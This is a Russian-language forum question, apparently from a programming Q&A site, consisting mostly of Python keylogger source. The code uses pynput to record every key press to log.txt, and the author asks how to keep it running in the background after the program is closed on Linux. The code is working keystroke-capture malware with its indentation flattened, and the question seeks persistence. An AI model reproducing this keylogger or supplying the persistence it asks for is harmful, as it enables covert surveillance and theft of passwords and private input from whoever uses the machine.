Запуск python кейлоггера в фоне. Linux
import pynput
lst = []
def func(key):
global lst
lst.append(str(key).replace('\'', ''))
if len(lst) > 0:
log_file(lst)
lst = []
def log_file(lst):
with open('log.txt', 'a') as file:
for k in lst:
if k in s.keys():
file.write(s[k])
else:
file.write(k)
s = {'Key.tab': '<TAB>', 'Key.space': '<SPACE>', '""': '\'',
'Key.enter': '<ENTER>', 'Key.alt': '<ALT>', 'Key.caps_lock': '<CAPS>',
'Key.delete': '<DEL>', 'Key.ctrl':'<CTRL>', 'Key.shift': '<SHIFT>',
'Key.esc': '<ESC>', 'Key.backspace': '<BACKSPACE>'}
listener = pynput.keyboard.Listener(on_press=func)
listener.start()
Надо что бы при закрытии исполняемого файла программа продолжала работать в фоне. Я использую
listener.start
но программа всё равно прекращает свою работу.